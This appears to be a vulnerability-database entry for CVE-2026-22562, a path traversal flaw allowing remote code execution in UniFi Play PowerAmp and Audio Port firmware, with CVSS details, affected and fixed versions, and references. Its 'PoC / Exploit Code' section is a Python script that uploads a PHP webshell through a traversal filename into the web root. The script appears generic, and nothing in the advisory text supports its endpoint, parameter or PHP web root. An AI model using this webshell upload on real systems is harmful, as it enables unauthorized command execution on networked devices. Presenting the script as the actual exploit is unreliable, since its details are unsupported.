CVE-2026-22562

Description

A malicious actor with access to the UniFi Play network could exploit a Path Traversal vulnerability found in the device firmware to write files on the system that could be used for a remote code execution (RCE). Affected Products: UniFi Play PowerAmp (Version 1.0.35 and earlier) UniFi Play Audio Port (Version 1.0.24 and earlier)  Mitigation: Update UniFi Play PowerAmp to Version 1.0.38 or later Update UniFi Play Audio Port to Version 1.1.9 or later

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

UniFi Play PowerAmp <= 1.0.35

UniFi Play Audio Port <= 1.0.24

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-22562: Path Traversal leading to RCE
# Target: UniFi Play PowerAmp / Audio Port
# Note: This is a conceptual demonstration for educational purposes.

target_url = "http://<TARGET_IP>/api/upload"

# Malicious payload: PHP webshell
payload = "<?php system($_GET['cmd']); ?>"

# Path traversal sequence to write to web root
filename = "../../../../../../var/www/html/shell.php"

headers = {
    "User-Agent": "PoC-Scanner",
    "Content-Type": "application/octet-stream"
}

try:
    # Sending the malicious request with traversal path
    response = requests.post(
        target_url,
        headers=headers,
        data=payload,
        params={"file": filename},
        timeout=10
    )

    if response.status_code == 200:
        print("[+] Potential exploitation successful.")
        print(f"[+] Check shell at: http://<TARGET_IP>/shell.php?cmd=whoami")
    else:
        print("[-] Target may not be vulnerable or patched.")

except Exception as e:
    print(f"Error connecting to target: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22562
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22562
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22562/
[4] VulDB https://vuldb.com/cve/CVE-2026-22562
[5] https://community.ui.com/releases/Security-Advisory-Bulletin-063/e468dd4b-5090-4ef8-89d8-939903c08e83

Raw JSON Data

JSON

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